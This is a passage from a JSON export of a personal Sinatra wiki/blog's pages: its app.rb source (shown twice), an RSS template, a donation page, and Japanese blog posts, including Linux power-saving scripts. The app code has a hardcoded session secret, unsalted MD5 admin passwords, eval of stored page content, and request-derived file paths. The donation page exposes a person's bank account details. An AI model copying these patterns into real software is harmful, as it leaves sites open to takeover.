self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"http://ssig33.com/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = page.id\r\n redirect \"http://ssig33.com/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2013-07-18T12:20:06.000Z","updated_at":"2013-07-18T12:20:06.000Z"},{"id":2468,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-07-18T12:28:09.000Z","updated_at":"2013-07-18T12:28:09.000Z"},{"id":2469,"name":"kure.ssig33.com","body":"title チョコレートくれ\r\n# チョコレートくれ\r\n\r\n## [Amazon ウィッシュリスト経由でくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2013-07-23T17:23:43.000Z","updated_at":"2013-07-23T17:23:43.000Z"},{"id":2470,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.where(id: Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'ascending'], size: 20000, page: page).map{|x| x.page_id}).order(\"id desc\").each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2013-07-27T03:51:07.000Z","updated_at":"2013-07-27T03:51:07.000Z"},{"id":2471,"name":"text/三森すずこの話","body":"%blog%\r\n\r\n\u003e「ミス・サイゴン」という作品にすごく惹かれて、オーディションを受けたりしていたんですよ。作品を通してベトナムやベトナム戦争の話を知るうちにすごく興味が沸いてきて、行ってみたいと思うようになりました。 \r\n\u003e - [三森すずこがベトナムで撮影した初写真集を語る!「みもりんっ」サイン本お渡し会インタビュー! - 声優ニュース|こえぽた - 声優 ニュース イベント サイト](http://www.koepota.jp/news/2013/07/22/0301.html)\r\n\r\n\u003e1975年4月、ベトナム戦争は、終焉を迎えようとしていた。ベトナムの田舎娘だったキムは、17歳で家族を失い、家を焼かれ、首都サイゴンまで逃げてきた。そこで、フランス人とベトナム人の混血の、通称「エンジニア」の経営する売春宿で働くことになった。最初のお客は米兵のクリスだった。クリスは、戦争に嫌気がさしていたが、戦友のジョンのおごりでキムを買うことになった。キムとクリスはお互いにひかれ愛し合い始めた。 \r\n\u003e(中略) \r\n\u003eキムの夢は、タムをアメリカに連れて行き、幸せな生活を送らせることであった。しかし自分がいては、タムもアメリカに行けないことを悟り、自ら命を絶つことを決意した。 \r\n\u003e[ミス・サイゴン - Wikipedia ストーリ](http://ja.wikipedia.org/wiki/%E3%83%9F%E3%82%B9%E3%83%BB%E3%82%B5%E3%82%A4%E3%82%B4%E3%83%B3#.E3.82.B9.E3.83.88.E3.83.BC.E3.83.AA.E3.83.BC)\r\n\r\nこの女頭大丈夫か?\r\n","created_at":"2013-07-28T05:52:59.000Z","updated_at":"2013-07-28T05:52:59.000Z"},{"id":2472,"name":"text/MacBookAir 買ったらスグ入れたい!エンジニア必携ツール1個","body":"%blog%\r\n\r\n# [Debian GNU/Linux](http://www.debian.org/)","created_at":"2013-08-01T13:03:19.000Z","updated_at":"2013-08-01T13:03:19.000Z"},{"id":2473,"name":"text/MacBookAir 買ったらスグ入れたい!エンジニア必携ツール1個","body":"%blog%\r\n\r\n# [Gentoo Linux](http://www.gentoo.gr.jp/)","created_at":"2013-08-01T13:47:48.000Z","updated_at":"2013-08-01T13:47:48.000Z"},{"id":2474,"name":"text/MacBookAir 買ったらスグ入れたい!エンジニア必携ツール1個","body":"%blog%\r\n\r\nこんにちは、今日 TBS チャンネル 2 で武装神姫を全部見た ssig33 です。\r\n\r\nエンジニアの方向けに絶対に入れておきたいツールを 1 個ドドンとご紹介。知らないツールが見つかるかも? \r\n\r\n# [Gentoo Linux](http://www.gentoo.gr.jp/)","created_at":"2013-08-01T13:53:04.000Z","updated_at":"2013-08-01T13:53:04.000Z"},{"id":2475,"name":"text/VAIO Pro を Linux で","body":"%blog% VAIO Pro を Linux で使う + バッテリー延命\r\n\r\n[VAIO Pro 11](http://www.sony.jp/vaio/products/VP21/) を買いました。大変に軽量でよいコンピューターだと思います。鞄に入れていても「あれ PC 持ってくるの忘れたっけ」とかなること結構あります。タッチパネル着けてないので重量は 770g でさすがに軽量です。\r\n\r\nこれまでこういうふうに持ち歩くにあたって一切負担の無い重量のコンピューターは多々あったとは思うのですが、ミドルレンジ以上の性能を持っていて作業環境として十分に使用できるものは少なかったように思います。\r\n\r\nというわけで僕は Web 系の技術者でもありますから Linux で使っていくことになります。\r\n\r\n## インストール\r\n[ここ](https://spicious.com/sony-vaio-pro-11-with-ubuntu.html)読んどけって感じなのですが、この解説も若干古くなっているので適当に書いておきます。\r\n\r\nDebian は stable が普通にインストールできます。 Ubuntu は 13.04 では駄目らしいので 13.10 の Daily Build を使うといいと思います。他のディストリビューションは知らん。\r\n\r\n後述の通りインストール時には WiFi が動かないので、ネットワーク無しでインストールできるインストーラーを用意するか USB で動く Linux でサポートされてるネットワークカードを用意する必要があります。\r\n\r\n普通にインストールできるんですが WiFi が動きません。これは [Intel の 7260](http://ark.intel.com/ja/products/75439/Intel-Dual-Band-Wireless-AC-7260) というえらく新しいチップを使っていることが原因のようです。\r\n\r\nこのチップは kernel 3.11 から Linux ではサポートされています。ですが kernel 3.11 はこれ書いてる現在ではまだ RC3 とリリースされていません。当然標準で対応しているディストリビューションとかもないです。なのでビルドする必要があります。\r\n\r\nですが Debian 系列のディストリビューションの場合、 Ubuntu 13.10 Daily Build 用のパッケージを使用できます。[ここ](http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11-rc3-saucy/)にカーネルのパッケージ転がっているので使うと幸せになれるでしょう。\r\n\r\nファームウェアに関しては[ここ](https://spicious.com/sony-vaio-pro-11-with-ubuntu.html)に転がってますので、 /lib/firmware に入れるとよいです(ちなみにこの人めんどくさそうなブランチのカーネルをビルドしてますが今ではそんなことせずに上記のように単に 3.11 使えばいいというようになってます)。\r\n\r\nだいたいこれで動くんですが WiFi の感度が若干悪い感じがします。感度表示が悪いだけで実際にネットワーク品質が悪いかというとそうでもないのですが。それからたまにアクセスポイントを見落すことがあります。その場合も明示的にアクセスポイント名を入れれば普通に使えます(ステルスモードの AP に繋ぎにいくような感覚になる)。\r\n\r\n## バッテリー\r\nLinux 入れて使ってみれば分かるかと思いますが、大変にバッテリーの消費が激しいことになります。電池だと 4時間半 〜 5 時間半ぐらいしか駆動しません。 [Windows だと 8 時間ぐらいは駆動する](http://pc.watch.impress.co.jp/docs/column/hothot/20130708_606588.html)らしいのでこれはちょっとというかかなり残念です。\r\n\r\nですが適切に設定するとそれなりにバッテリー持つようにはなります。 [tlp](https://github.com/linrunner/TLP) という恐しく高機能な省電力化ツールがあるのですが、恐しく導入がめんどうなのと、基本的に最小消費電力設定で運用してしまって問題ないので、手動でチマチマ設定しましょう。\r\n\r\nUbuntu 日本語フォーラムの[このトピック](https://forums.ubuntulinux.jp/viewtopic.php?pid=21518)が大変に参考になります。僕は以下のようなスクリプトを作成しています。\r\n\r\n```\r\n#!/bin/sh\r\n# USB の自動サスペンド\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb1/power/autosuspend\"\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb2/power/autosuspend\"\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb3/power/autosuspend\"\r\n\r\n# WiFi の省電力設定\r\nsudo iw dev wlan0 set power_save on\r\n\r\n# サウンドまわりの省電力設定\r\nsudo sh -c \"echo 1 \u003e /sys/module/snd_hda_intel/parameters/power_save\"\r\nsudo sh -c \"echo 1 \u003e /dev/dsp\"\r\n\r\n# laptop mode \r\nsudo sh -c \"echo 5 \u003e /proc/sys/vm/laptop_mode\"\r\nsudo sh -c \"echo 0 \u003e /proc/sys/kernel/nmi_watchdog\"\r\n\r\nsudo sh -c \"echo 1500 \u003e /proc/sys/vm/dirty_writeback_centisecs\"\r\nsudo modprobe -r sky2\r\n\r\n# PCI 経由で繋がってるものの省電力設定\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:00.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:02.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:03.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:14.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:16.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1b.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1c.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1c.3/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1d.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.2/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.3/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:01:00.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:02:00.0/power/control\"\r\n\r\n# SSD が稼動してない時に SATA を最低消費電力モードにする設定\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host0/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host1/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host2/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host3/link_power_management_policy\"\r\n ```\r\n\r\n/sys/bus/pci 以下とかどんな環境でも同じ名前なのかよく分からんので自分の環境を調べてやったほうがいいです。 TLP を使うとこの辺の設定を状況に応じて動的に調整出来るようになるのですが、その設定はたいへんにめんどくさいのと、 CPU 以外は常に全て省電力設定でもパフォーマンス上の問題はないので、上記のようなスクリプトを適当にログイン時にでも実行するようにしておけばそれでいいです。\r\n\r\n### CPU の動作周波数\r\nCPU の動作周波数についてはインストールの項で紹介したエントリにあるように [i7z](https://code.google.com/p/i7z/) というユーティリティで確認することができます。しかし CPU の動作周波数を必要に応じて変更しなければ省電力を実現することは出来ません。\r\n\r\n/sys/devices/system/cpu/cpu{0-3}cpufreq/scaling_governor というファイルに動作モードを書き込むことで CPU の動作速度を設定することが出来ます。なので僕は以下のようなスクリプトを作っています。\r\n\r\n```\r\n#!/usr/bin/env ruby\r\nexit false unless %{ondemand powersave performance}.index(ARGV[0])\r\n(0..3).each do |i|\r\n system \"sudo su -c 'echo #{ARGV[0]} \u003e /sys/devices/system/cpu/cpu#{i}/cpufreq/scaling_governor'\"\r\nend\r\n\r\nputs \"set #{ARGV[0]}\"\r\n```\r\n\r\nこれをパスの通っているところに cpufreq という名前とかで置いておけば\r\n\r\n- $ cpufreq ondemand # 通常モード\r\n- $ cpufreq powersave # 省電力モード\r\n- $ cpufreq performance # 全力モード\r\n\r\nなどと設定出来るようになります。バッテリ駆動なのか AC アダプタ駆動なのか判別してモード切り替えるとかもやりたきゃ比較的楽に出来ると思います。\r\n\r\npowersave モードではだいたい 800 〜 1000MHz 程度で動作しますが、 Linux で使う限り、ブラウジング、動画の閲覧などであれば動作に問題はありません。基本 powersave にしてゲームとかやりたいときだけ performance にするとかがいいと思います。\r\n\r\nここまで頑張って設定すると powersave モード時にだいたいバッテリーで 7 時間 〜 7 時間半ほどは稼動するようになります。 Windows での実測値にさほど見劣りしない駆動時間が得られると言っていいと思います。","created_at":"2013-08-04T12:02:10.000Z","updated_at":"2013-08-04T12:02:10.000Z"},{"id":2476,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n$memcache = Memcached.new(\"localhost:11211\")\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"http://ssig33.com/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = page.id\r\n redirect \"http://ssig33.com/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n 